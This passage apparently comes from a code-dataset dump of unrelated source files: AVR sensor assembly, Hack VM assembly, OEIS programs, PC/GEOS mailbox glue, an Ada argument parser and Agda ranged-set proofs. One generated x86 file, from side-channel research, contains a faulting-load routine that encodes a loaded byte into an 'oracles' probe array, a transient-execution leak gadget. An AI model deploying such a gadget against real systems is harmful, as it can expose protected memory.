Wait IDLE 300ms then Light Left Front LED for 30ms * 1. Wait 30ms then Sample Left Front Detector, Light Left Rear LED for 30ms * 2. Wait 30ms then Sample Left Rear Detector, Light Right Front LED for 30ms * 3. Wait 30ms then Sample Right Front Detector, Light Right Rear LED for 30ms * 4. Wait 30ms then Sample Right Rear Detector, Set IDLE delay for 300ms * */ range_ir_service: sbis GPIOR0, RNG_10MS_TIC ; test 10ms tic ret ; EXIT..not set ; cbi GPIOR0, RNG_10MS_TIC ; clear tic10ms flag set by interrupt ; lds R16, range_ir_delay dec R16 sts range_ir_delay, R16 breq ris_skip00 rjmp ris_exit ris_skip00: ; Run Service lds R16, range_ir_state ; get state ; switch(state) cpi R16, RNG_IR_WAIT_IDLE brne ris_skip10 ; Leave IDLE ; Turn ON Left Front IR Sensor cbi PORTA, IR_LEFT_FRONT_CTRL ; Set next delay ldi R16, RNG_IR_LED_DELAY_COUNT sts range_ir_delay, R16 ; next state ldi R16, RNG_IR_WAIT_LEFT_F sts range_ir_state, R16 rjmp ris_exit ; ris_skip10: cpi R16, RNG_IR_WAIT_LEFT_F brne ris_skip20 ; Sample Left Front Range ldi R17, IR_LEFT_FRONT_SIG call adc_trigger ; returns R17.R18..left justified b9:2,b1:0 sts range_ir_leftFront, r17 ; Only use upper 8bits. ; Turn OFF Left Front IR Sensor sbi PORTA, IR_LEFT_FRONT_CTRL ; Turn ON Left Rear IR Sensor cbi PORTA, IR_LEFT_REAR_CTRL ; Set next delay ldi R16, RNG_IR_LED_DELAY_COUNT sts range_ir_delay, R16 ; next state ldi R16, RNG_IR_WAIT_LEFT_R sts range_ir_state, R16 rjmp ris_exit ; ris_skip20: cpi R16, RNG_IR_WAIT_LEFT_R brne ris_skip30 ; Sample Left Front Range ldi R17, IR_LEFT_REAR_SIG call adc_trigger ; returns R17.R18..left justified b9:2,b1:0 sts range_ir_leftRear, r17 ; Only use upper 8bits. ; Turn OFF Left Read IR Sensor sbi PORTA, IR_LEFT_REAR_CTRL ; Turn ON RIGHT Front IR Sensor cbi PORTA, IR_RIGHT_FRONT_CTRL ; Set next delay ldi R16, RNG_IR_LED_DELAY_COUNT sts range_ir_delay, R16 ; next state ldi R16, RNG_IR_WAIT_RIGHT_F sts range_ir_state, R16 rjmp ris_exit ; ris_skip30: cpi R16, RNG_IR_WAIT_RIGHT_F brne ris_skip40 ; Sample Right Front Range ldi R17, IR_RIGHT_FRONT_SIG call adc_trigger ; returns R17.R18..left justified b9:2,b1:0 sts range_ir_rightFront, r17 ; Only use upper 8bits. ; Turn OFF Right Front IR Sensor sbi PORTA, IR_RIGHT_FRONT_CTRL ; Turn ON RIGHT Rear IR Sensor cbi PORTA, IR_RIGHT_REAR_CTRL ; Set next delay ldi R16, RNG_IR_LED_DELAY_COUNT sts range_ir_delay, R16 ; next state ldi R16, RNG_IR_WAIT_RIGHT_R sts range_ir_state, R16 rjmp ris_exit ; ris_skip40: cpi R16, RNG_IR_WAIT_RIGHT_R brne ris_skip50 ; Sample Right Rear Range ldi R17, IR_RIGHT_REAR_SIG call adc_trigger ; returns R17.R18..left justified b9:2,b1:0 sts range_ir_rightRear, r17 ; Only use upper 8bits. ; Turn OFF Right Rear IR Sensor sbi PORTA, IR_RIGHT_REAR_CTRL ; Set next delay ldi R16, RNG_IR_IDLE_DELAY_COUNT sts range_ir_delay, R16 ; next state ldi R16, RNG_IR_WAIT_IDLE sts range_ir_state, R16 rjmp ris_exit ; ris_skip50: ; set to default ldi R16, RNG_IR_WAIT_IDLE sts range_ir_state, R16 ris_exit: ret
Projetos/I-VM/bin/nasm/SimplePushAdd.nasm
juanjorgegarcia/Z01
2
161601
<reponame>juanjorgegarcia/Z01<gh_stars>1-10 ; 0 - PUSH constant 5 leaw $5,%A movw %A,%D leaw $SP,%A movw (%A),%A movw %D,(%A) leaw $SP,%A movw (%A),%D incw %D movw %D,(%A) ; 1 - PUSH constant 9 leaw $9,%A movw %A,%D leaw $SP,%A movw (%A),%A movw %D,(%A) leaw $SP,%A movw (%A),%D incw %D movw %D,(%A) ; 2 - ADD leaw $SP,%A movw (%A),%D decw %D movw %D,(%A) movw (%A),%A movw (%A),%D leaw $SP,%A subw (%A),$1,%A addw (%A),%D,%D movw %D,(%A) ; End
oeis/212/A212681.asm
neoneye/loda-programs
11
103767
<gh_stars>10-100 ; A212681: Number of (w,x,y,z) with all terms in {1,...,n} and |x-y|<|y-z|. ; Submitted by <NAME> ; 0,0,4,24,88,230,504,966,1696,2772,4300,6380,9144,12714,17248,22890,29824,38216,48276,60192,74200,90510,109384,131054,155808,183900,215644,251316,291256,335762,385200,439890,500224,566544,639268 mul $0,2 mov $1,$0 sub $0,1 pow $0,3 mov $2,$1 add $2,3 add $0,$2 div $0,32 mul $1,$0 mov $0,$1
Library/Mailbox/Media/mediaC.asm
steakknife/pcgeos
504
4697
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) Geoworks 1994 -- All Rights Reserved PROJECT: Clavin MODULE: Media FILE: mediaC.asm AUTHOR: <NAME>, Nov 22, 1994 ROUTINES: Name Description ---- ----------- MAILBOXCHECKMEDIUMAVAILABLE MAILBOXCHECKMEDIUMCONNECTED MAILBOXGETFIRSTMEDIUMUNIT REVISION HISTORY: Name Date Description ---- ---- ----------- CL 11/22/94 Initial revision DESCRIPTION: C Interface $Id: mediaC.asm,v 1.1 97/04/05 01:20:33 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SetGeosConvention C_Mailbox segment resource COMMENT @---------------------------------------------------------------------- C FUNCTION: MailboxCheckMediumAvailable C DECLARATION: Boolean (MediumType mediumType, word unitNum, MediumUnitType unitType) KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- CHL 11/94 Initial version ------------------------------------------------------------------------------@ MAILBOXCHECKMEDIUMAVAILABLE proc far mediumType:dword, unitNum:word, unitType:word .enter movdw cxdx, mediumType mov bx, unitNum mov ax, unitType call MailboxCheckMediumAvailable mov ax, 0 jnc exit ;carry clear if medium absent dec ax exit: .leave ret MAILBOXCHECKMEDIUMAVAILABLE endp COMMENT @---------------------------------------------------------------------- C FUNCTION: MailboxCheckMediumConnected C DECLARATION: Boolean (MediumType mediumType, word unitNum, MediumUnitType unitType) KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- CHL 11/94 Initial version ------------------------------------------------------------------------------@ MAILBOXCHECKMEDIUMCONNECTED proc far mediumType:dword, unitNum:word, unitType:word .enter movdw cxdx, mediumType mov bx, unitNum mov ax, unitType call MailboxCheckMediumConnected mov ax, 0 jnc exit dec ax exit: .leave ret MAILBOXCHECKMEDIUMCONNECTED endp COMMENT @---------------------------------------------------------------------- C FUNCTION: MailboxGetFirstMediumUnit C DECLARATION: word (MediumType mediumType, MediumUnitType *unitType) KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- CHL 11/94 Initial version ------------------------------------------------------------------------------@ MAILBOXGETFIRSTMEDIUMUNIT proc far mediumType:dword, unitType:fptr .enter movdw cxdx, mediumType call MailboxGetFirstMediumUnit les bp, unitType ; (can destroy bp b/c no local vars) mov es:[bp], ax mov_tr ax, bx .leave ret MAILBOXGETFIRSTMEDIUMUNIT endp C_Mailbox ends SetDefaultConvention
Transynther/x86/_processed/NONE/_xt_sm_/i7-7700_9_0x48_notsx.log_34_460.asm
ljhsiun2/medusa
9
246652
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r12 push %r14 push %rbx push %rcx push %rdi push %rsi lea addresses_WC_ht+0x134fd, %rsi lea addresses_WT_ht+0x6f8d, %rdi nop nop nop sub $33591, %r14 mov $73, %rcx rep movsl nop nop and $18756, %rbx lea addresses_normal_ht+0x176cd, %rsi lea addresses_normal_ht+0x90d, %rdi nop cmp %r10, %r10 mov $42, %rcx rep movsb nop nop nop nop dec %rsi lea addresses_D_ht+0x815, %rsi dec %r12 movb $0x61, (%rsi) nop nop add %rbx, %rbx lea addresses_UC_ht+0x1750d, %rcx nop nop nop nop xor $23364, %rbx mov (%rcx), %di xor $53450, %rbx lea addresses_UC_ht+0xdcad, %r12 nop nop nop nop add $58630, %r10 mov (%r12), %r14d nop inc %r14 lea addresses_UC_ht+0x18b8d, %rsi lea addresses_D_ht+0x1208d, %rdi clflush (%rdi) dec %r12 mov $89, %rcx rep movsw nop nop nop nop sub %r10, %r10 lea addresses_WC_ht+0x1516d, %rbx nop cmp %r14, %r14 movb (%rbx), %r10b nop cmp %rsi, %rsi lea addresses_WT_ht+0x1858d, %rsi lea addresses_WC_ht+0x2f6d, %rdi nop nop sub $45422, %r12 mov $63, %rcx rep movsq dec %r12 lea addresses_D_ht+0x1758d, %rdi nop nop nop mfence vmovups (%rdi), %ymm4 vextracti128 $1, %ymm4, %xmm4 vpextrq $0, %xmm4, %rsi nop nop dec %rbx lea addresses_D_ht+0x1de8d, %r14 nop nop nop nop add $17147, %r10 mov $0x6162636465666768, %rcx movq %rcx, %xmm0 vmovups %ymm0, (%r14) nop nop nop inc %rbx pop %rsi pop %rdi pop %rcx pop %rbx pop %r14 pop %r12 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r15 push %r9 push %rax push %rbp push %rcx push %rdi // Store mov $0xf65, %r15 nop nop nop nop and %rdi, %rdi mov $0x5152535455565758, %r9 movq %r9, %xmm7 movaps %xmm7, (%r15) nop inc %rcx // Load lea addresses_PSE+0xc97d, %rax nop nop nop nop nop and %rbp, %rbp vmovups (%rax), %ymm4 vextracti128 $0, %ymm4, %xmm4 vpextrq $1, %xmm4, %rdi nop dec %r11 // Store lea addresses_US+0x11445, %rbp nop nop nop sub %rax, %rax movw $0x5152, (%rbp) nop sub %rcx, %rcx // Store lea addresses_PSE+0x1858d, %rcx nop nop cmp %r9, %r9 mov $0x5152535455565758, %rbp movq %rbp, %xmm4 vmovaps %ymm4, (%rcx) nop inc %rdi // Store lea addresses_US+0x1698d, %rdi dec %r11 movl $0x51525354, (%rdi) nop nop add %r15, %r15 // Faulty Load lea addresses_PSE+0x1858d, %rax nop nop nop nop xor %r11, %r11 movb (%rax), %r9b lea oracles, %rcx and $0xff, %r9 shlq $12, %r9 mov (%rcx,%r9,1), %r9 pop %rdi pop %rcx pop %rbp pop %rax pop %r9 pop %r15 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': True, 'NT': True, 'AVXalign': False, 'size': 16, 'type': 'addresses_PSE', 'congruent': 0}} {'dst': {'same': False, 'NT': False, 'AVXalign': True, 'size': 16, 'type': 'addresses_P', 'congruent': 3}, 'OP': 'STOR'} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_PSE', 'congruent': 3}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_US', 'congruent': 3}, 'OP': 'STOR'} {'dst': {'same': True, 'NT': False, 'AVXalign': True, 'size': 32, 'type': 'addresses_PSE', 'congruent': 0}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_US', 'congruent': 9}, 'OP': 'STOR'} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_PSE', 'congruent': 0}} <gen_prepare_buffer> {'dst': {'same': False, 'congruent': 9, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 4, 'type': 'addresses_WC_ht'}} {'dst': {'same': False, 'congruent': 5, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'src': {'same': True, 'congruent': 4, 'type': 'addresses_normal_ht'}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_D_ht', 'congruent': 3}, 'OP': 'STOR'} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_UC_ht', 'congruent': 6}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_UC_ht', 'congruent': 5}} {'dst': {'same': False, 'congruent': 8, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 9, 'type': 'addresses_UC_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_WC_ht', 'congruent': 4}} {'dst': {'same': False, 'congruent': 5, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 10, 'type': 'addresses_WT_ht'}} {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_D_ht', 'congruent': 9}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_D_ht', 'congruent': 7}, 'OP': 'STOR'} {'58': 34} 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 */
programs/oeis/098/A098547.asm
karttu/loda
1
179143
<gh_stars>1-10 ; A098547: a(n) = n^3 + n^2 + 1. ; 1,3,13,37,81,151,253,393,577,811,1101,1453,1873,2367,2941,3601,4353,5203,6157,7221,8401,9703,11133,12697,14401,16251,18253,20413,22737,25231,27901,30753,33793,37027,40461,44101,47953,52023,56317,60841,65601,70603,75853,81357,87121,93151,99453,106033,112897,120051,127501,135253,143313,151687,160381,169401,178753,188443,198477,208861,219601,230703,242173,254017,266241,278851,291853,305253,319057,333271,347901,362953,378433,394347,410701,427501,444753,462463,480637,499281,518401,538003,558093,578677,599761,621351,643453,666073,689217,712891,737101,761853,787153,813007,839421,866401,893953,922083,950797,980101,1010001,1040503,1071613,1103337,1135681,1168651,1202253,1236493,1271377,1306911,1343101,1379953,1417473,1455667,1494541,1534101,1574353,1615303,1656957,1699321,1742401,1786203,1830733,1875997,1922001,1968751,2016253,2064513,2113537,2163331,2213901,2265253,2317393,2370327,2424061,2478601,2533953,2590123,2647117,2704941,2763601,2823103,2883453,2944657,3006721,3069651,3133453,3198133,3263697,3330151,3397501,3465753,3534913,3604987,3675981,3747901,3820753,3894543,3969277,4044961,4121601,4199203,4277773,4357317,4437841,4519351,4601853,4685353,4769857,4855371,4941901,5029453,5118033,5207647,5298301,5390001,5482753,5576563,5671437,5767381,5864401,5962503,6061693,6161977,6263361,6365851,6469453,6574173,6680017,6786991,6895101,7004353,7114753,7226307,7339021,7452901,7567953,7684183,7801597,7920201,8040001,8161003,8283213,8406637,8531281,8657151,8784253,8912593,9042177,9173011,9305101,9438453,9573073,9708967,9846141,9984601,10124353,10265403,10407757,10551421,10696401,10842703,10990333,11139297,11289601,11441251,11594253,11748613,11904337,12061431,12219901,12379753,12540993,12703627,12867661,13033101,13199953,13368223,13537917,13709041,13881601,14055603,14231053,14407957,14586321,14766151,14947453,15130233,15314497,15500251 mov $1,$0 pow $1,2 mul $0,$1 add $1,1 add $1,$0
aflex/src/vaxvms/handle_foreign_command.ada
irion7/aflex-ayacc-mirror
1
12204
<reponame>irion7/aflex-ayacc-mirror -- Handle Foreign Command -- -- 2.9.92 sjw; orig with Lib; with Condition_Handling; with System; procedure Handle_Foreign_Command is function Get_Foreign return String; function To_Lower (C : Character) return Character; function Get_Foreign return String is Status : Condition_Handling.Cond_Value_Type; S : String (1 .. 255); L : System.Unsigned_Word; begin Lib.Get_Foreign (Status, Resultant_String => S, Resultant_Length => L); return S (1 .. Natural (L)); end Get_Foreign; function To_Lower (C : Character) return Character is Lower_Case : constant array ('A' .. 'Z') of Character := ('a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'); begin if C in Lower_Case'Range then return Lower_Case (C); end if; return C; end To_Lower; begin declare Raw_Command : constant String := Get_Foreign; subtype String_Position is Natural range 0 .. Raw_Command'Last + 1; subtype Substring is String (Raw_Command'Range); Raw_Position : String_Position := Raw_Command'First; Argument : Substring; Arg_Position : String_Position; Arg_Count : Argument_Count := Argument_Count'First; begin Arguments : loop exit Arguments when not (Raw_Position in Raw_Command'Range); if Raw_Command (Raw_Position) = ' ' then Raw_Position := Raw_Position + 1; -- DCL removes tabs else Arg_Position := 0; One_Argument : loop exit One_Argument when not (Raw_Position in Raw_Command'Range); exit One_Argument when Raw_Command (Raw_Position) = ' '; if Raw_Command (Raw_Position) /= '"' then Arg_Position := Arg_Position + 1; Argument (Arg_Position) := To_Lower (Raw_Command (Raw_Position)); Raw_Position := Raw_Position + 1; else Raw_Position := Raw_Position + 1; Quoted_Part : loop exit One_Argument when not (Raw_Position in Raw_Command'Range); if Raw_Command (Raw_Position) /= '"' then Arg_Position := Arg_Position + 1; Argument (Arg_Position) := Raw_Command (Raw_Position); Raw_Position := Raw_Position + 1; elsif Raw_Position + 1 in Raw_Command'Range and then Raw_Command (Raw_Position + 1) = '"' then -- double quote, -> one Arg_Position := Arg_Position + 1; Argument (Arg_Position) := '"'; Raw_Position := Raw_Position + 2; else -- terminating '"' Raw_Position := Raw_Position + 1; exit Quoted_Part; end if; end loop Quoted_Part; end if; end loop One_Argument; Handle_Argument (Count => Arg_Count, Argument => Argument (Argument'First .. Arg_Position)); exit Arguments when Arg_Count = Argument_Count'Last; -- Maybe an exception would be more appropriate here! Arg_Count := Arg_Count + 1; end if; end loop Arguments; end; end Handle_Foreign_Command;
lib/Haskell/RangedSetsProp/RangedSetProperties.agda
ioanasv/agda2hs
1
9997
<filename>lib/Haskell/RangedSetsProp/RangedSetProperties.agda module Haskell.RangedSetsProp.RangedSetProperties where open import Haskell.RangedSetsProp.library open import Haskell.RangedSetsProp.RangesProperties open import Agda.Builtin.Equality open import Agda.Builtin.Bool open import Haskell.Prim open import Haskell.Prim.Ord open import Haskell.Prim.Bool open import Haskell.Prim.Maybe open import Haskell.Prim.Enum open import Haskell.Prim.Eq open import Haskell.Prim.List open import Haskell.Prim.Integer open import Haskell.Prim.Double open import Haskell.Prim.Foldable open import Haskell.RangedSets.Boundaries open import Haskell.RangedSets.Ranges open import Haskell.RangedSets.RangedSet prop_empty : ⦃ o : Ord a ⦄ → ⦃ d : DiscreteOrdered a ⦄ → (v : a) → (not (rSetHas rSetEmpty {empty ⦃ o ⦄ ⦃ d ⦄} v)) ≡ true prop_empty v = refl prop_full : ⦃ o : Ord a ⦄ → ⦃ dio : DiscreteOrdered a ⦄ → (v : a) → (rSetHas rSetFull {full0 ⦃ o ⦄ ⦃ dio ⦄} v) ≡ true prop_full v = refl prop_validNormalised : ⦃ o : Ord a ⦄ → ⦃ d : DiscreteOrdered a ⦄ → (ls : List (Range a)) → (validRangeList (normaliseRangeList ls)) ≡ true prop_validNormalised ⦃ o ⦄ ⦃ dio ⦄ [] = refl prop_validNormalised ⦃ o ⦄ ⦃ dio ⦄ ls@(r1 ∷ rs) = begin (validRangeList (normaliseRangeList ls)) =⟨⟩ (validRangeList (normalise (sort (filter (λ r → (rangeIsEmpty r) == false) ls)) ⦃ sortedList ls ⦄ ⦃ validRangesList ls ⦄)) =⟨ propIsTrue (validRangeList (normalise (sort (filter (λ r → (rangeIsEmpty r) == false) ls)) ⦃ sortedList ls ⦄ ⦃ validRangesList ls ⦄)) (normalisedSortedList (sort (filter (λ r → (rangeIsEmpty r) == false) ls)) (sortedList ls) (validRangesList ls)) ⟩ true end postulate rangeSetCreation : ⦃ o : Ord a ⦄ → ⦃ dio : DiscreteOrdered a ⦄ → (rs : RSet a) → {prf : IsTrue (validRangeList (rSetRanges rs))} → (RS ⦃ o ⦄ ⦃ dio ⦄ (rSetRanges rs) {prf}) ≡ rs rangesEqiv : ⦃ o : Ord a ⦄ → ⦃ dio : DiscreteOrdered a ⦄ → {rs1 rs2 : RSet a} → rSetRanges rs1 ≡ rSetRanges rs2 → rs1 ≡ rs2 rangesEqiv2 : ⦃ o : Ord a ⦄ → ⦃ dio : DiscreteOrdered a ⦄ → {rs1 rs2 : List (Range a)} → (prf1 : IsTrue (sortedRangeList rs1)) → (prf2 : IsTrue (validRanges rs1)) → (prf3 : IsTrue (sortedRangeList rs2)) → (prf4 : IsTrue (validRanges rs2)) → rs1 ≡ rs2 → normalise rs1 ⦃ prf1 ⦄ ⦃ prf2 ⦄ ≡ normalise rs2 ⦃ prf3 ⦄ ⦃ prf4 ⦄ singletonRangeSetHas : ⦃ o : Ord a ⦄ → ⦃ dio : DiscreteOrdered a ⦄ → (r : Range a) → (v : a) → {prf : IsTrue (validRangeList (r ∷ []))} → (rSetHas (RS (r ∷ []) {prf}) {prf} v) ≡ rangeHas r v singletonRangeSetHas r v {prf} = begin (rSetHas (RS (r ∷ []) {prf}) {prf} v) =⟨⟩ rangeHas r v end rSetHasHelper : ⦃ o : Ord a ⦄ → ⦃ dio : DiscreteOrdered a ⦄ → a → (rs : List (Range a)) → {prf : IsTrue (validRangeList rs)} → Bool rSetHasHelper ⦃ o ⦄ ⦃ dio ⦄ value rs {prf} = rSetHas ⦃ o ⦄ ⦃ dio ⦄ (RS rs {prf}) {prf} value -- rangeHasSym : ⦃ o : Ord a ⦄ → ⦃ dio : DiscreteOrdered a ⦄ → (r : Range a) → (rs : RSet a) → (v : a) -- → {prf1 : IsTrue (validRangeList (r ∷ (rSetRanges rs)))} -- → (rSetHas (RS (r ∷ (rSetRanges rs)) {prf1}) {prf1} v) ≡ -- ((rangeHas r v) || (rSetHas rs {headandtail (RS (r ∷ (rSetRanges rs)) {prf1}) prf1} v)) -- rangeHasSym ⦃ o ⦄ ⦃ dio ⦄ r rs@(RS []) v {prf1} = -- begin -- (rSetHas (RS (r ∷ []) {prf1}) {prf1} v) -- =⟨⟩ -- (rangeHas r v) -- =⟨ sym (prop_or_false2 (rangeHas r v)) ⟩ -- ((rangeHas r v) || false) -- =⟨⟩ -- ((rangeHas r v) || (rSetHas (RS [] {empty ⦃ o ⦄ ⦃ dio ⦄}) {empty ⦃ o ⦄ ⦃ dio ⦄} v)) -- end -- rangeHasSym ⦃ o ⦄ ⦃ d ⦄ r rs@(RS ranges@(r1 ∷ r2) {prf}) v {prf1} = -- begin -- ((RS (r ∷ (rSetRanges rs)) {prf1}) -?- v) -- =⟨⟩ -- ((rangeHas r v) || (rSetHas (RS (rSetRanges rs) {headandtail (RS (r ∷ (rSetRanges rs)) {prf1}) prf1}) v)) -- =⟨ cong ((rangeHas r v) ||_) (cong (rSetHasHelper v) (rangesEqiv refl)) ⟩ -- ((rangeHas r v) || (rSetHas rs v)) -- end postulate -- the following postulates hold when the boundaries are ordered emptyIntersection : ⦃ o : Ord a ⦄ → ⦃ dio : DiscreteOrdered a ⦄ → (b1 b2 b3 : Boundary a) → IsFalse (rangeIsEmpty (rangeIntersection (Rg b2 b3) (Rg b1 b2)) == false) emptyIntersection2 : ⦃ o : Ord a ⦄ → ⦃ dio : DiscreteOrdered a ⦄ → (b1 b2 b3 : Boundary a) → IsFalse (rangeIsEmpty (rangeIntersection (Rg b1 b2) (Rg b2 b3)) == false) orderedBoundaries2 : ⦃ o : Ord a ⦄ → ⦃ dio : DiscreteOrdered a ⦄ → (b1 b2 : Boundary a) → IsFalse (b2 < b1) -- used for easing the proofs, the true value should be IsTrue (b1 <= b2) orderedBoundaries3 : ⦃ o : Ord a ⦄ → ⦃ dio : DiscreteOrdered a ⦄ → (b1 b2 : Boundary a) → IsTrue (b1 < b2) {-# TERMINATING #-} lemma0 : ⦃ o : Ord a ⦄ → ⦃ dio : DiscreteOrdered a ⦄ → (rs : RSet a) → {prf : IsTrue (validRangeList (rSetRanges rs))} → (ranges1 (bounds1 (rSetRanges rs))) ≡ (rSetRanges rs) lemma0 ⦃ o ⦄ ⦃ dio ⦄ rs@(RS []) {_} = begin (ranges1 ⦃ o ⦄ ⦃ dio ⦄ (bounds1 ⦃ o ⦄ ⦃ dio ⦄ (rSetRanges rs))) =⟨⟩ (ranges1 ⦃ o ⦄ ⦃ dio ⦄ (bounds1 ⦃ o ⦄ ⦃ dio ⦄ [])) =⟨⟩ (ranges1 ⦃ o ⦄ ⦃ dio ⦄ []) =⟨⟩ [] =⟨⟩ rSetRanges rs end lemma0 ⦃ o ⦄ ⦃ dio ⦄ rs@(RS (r@(Rg l u) ∷ rgs)) {prf} = begin (ranges1 ⦃ o ⦄ ⦃ dio ⦄ (bounds1 ⦃ o ⦄ ⦃ dio ⦄ (rSetRanges rs))) =⟨⟩ (ranges1 ⦃ o ⦄ ⦃ dio ⦄ (bounds1 ⦃ o ⦄ ⦃ dio ⦄ (r ∷ rgs))) =⟨⟩ (ranges1 ⦃ o ⦄ ⦃ dio ⦄ ((rangeLower ⦃ o ⦄ ⦃ dio ⦄ r) ∷ ((rangeUpper ⦃ o ⦄ ⦃ dio ⦄ r) ∷ (bounds1 ⦃ o ⦄ ⦃ dio ⦄ rgs)))) =⟨⟩ ((Rg l u) ∷ ranges1 ⦃ o ⦄ ⦃ dio ⦄ (bounds1 ⦃ o ⦄ ⦃ dio ⦄ rgs)) =⟨⟩ (r ∷ ranges1 ⦃ o ⦄ ⦃ dio ⦄ (bounds1 ⦃ o ⦄ ⦃ dio ⦄ rgs)) =⟨ cong (r ∷_) (lemma0 ⦃ o ⦄ ⦃ dio ⦄ (RS rgs {headandtail rs prf}) {headandtail rs prf}) ⟩ (r ∷ rgs) =⟨⟩ rSetRanges rs end rangeEmpty : ⦃ o : Ord a ⦄ → ⦃ dio : DiscreteOrdered a ⦄ → (x : Boundary a) → rangeIsEmpty (Rg x x) ≡ true rangeEmpty ⦃ o ⦄ ⦃ dio ⦄ BoundaryBelowAll = refl rangeEmpty ⦃ o ⦄ ⦃ dio ⦄ BoundaryAboveAll = refl rangeEmpty ⦃ o ⦄ ⦃ dio ⦄ b@(BoundaryBelow m) = begin rangeIsEmpty (Rg b b) =⟨⟩ ((BoundaryBelow m) <= (BoundaryBelow m)) =⟨⟩ ((compare b b == LT) || (compare b b == EQ)) =⟨⟩ ((compare m m == LT) || (compare m m == EQ)) =⟨ cong ((compare m m == LT) ||_) (eq4 ⦃ o ⦄ refl) ⟩ ((compare m m == LT) || true) =⟨⟩ ((compare m m == LT) || true) =⟨ prop_or_false3 (compare m m == LT) ⟩ true end rangeEmpty ⦃ o ⦄ ⦃ dio ⦄ b@(BoundaryAbove m) = begin rangeIsEmpty (Rg b b) =⟨⟩ ((BoundaryBelow m) <= (BoundaryBelow m)) =⟨⟩ ((compare b b == LT) || (compare b b == EQ)) =⟨⟩ ((compare m m == LT) || (compare m m == EQ)) =⟨ cong ((compare m m == LT) ||_) (eq4 ⦃ o ⦄ refl) ⟩ ((compare m m == LT) || true) =⟨⟩ ((compare m m == LT) || true) =⟨ prop_or_false3 (compare m m == LT) ⟩ true end merge2Empty : ⦃ o : Ord a ⦄ → ⦃ dio : DiscreteOrdered a ⦄ → (bs : List (Boundary a)) → ⦃ ne : NonEmpty bs ⦄ → filter (λ x → rangeIsEmpty x == false) (merge2 (ranges1 (tail bs ⦃ ne ⦄)) (ranges1 bs)) ≡ [] merge2Empty2 : ⦃ o : Ord a ⦄ → ⦃ dio : DiscreteOrdered a ⦄ → (bs : List (Boundary a)) → ⦃ ne : NonEmpty bs ⦄ → filter (λ x → rangeIsEmpty x == false) (merge2 (ranges1 bs) (ranges1 (tail bs ⦃ ne ⦄))) ≡ [] merge2Empty2 ⦃ o ⦄ ⦃ dio ⦄ bounds@(b@(BoundaryAboveAll) ∷ []) ⦃ ne ⦄ = begin filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 bounds) (ranges1 (tail bounds ⦃ ne ⦄))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 (b ∷ [])) (ranges1 [])) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 [] []) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) [] =⟨⟩ [] end merge2Empty2 ⦃ o ⦄ ⦃ dio ⦄ bounds@(b@(BoundaryAbove x) ∷ []) ⦃ ne ⦄ = begin filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 bounds) (ranges1 (tail bounds ⦃ ne ⦄))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 (b ∷ [])) (ranges1 [])) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 ((Rg b BoundaryAboveAll) ∷ []) []) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) [] =⟨⟩ [] end merge2Empty2 ⦃ o ⦄ ⦃ dio ⦄ bounds@(b@(BoundaryBelow x) ∷ []) ⦃ ne ⦄ = begin filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 bounds) (ranges1 (tail bounds ⦃ ne ⦄))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 (b ∷ [])) (ranges1 [])) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == 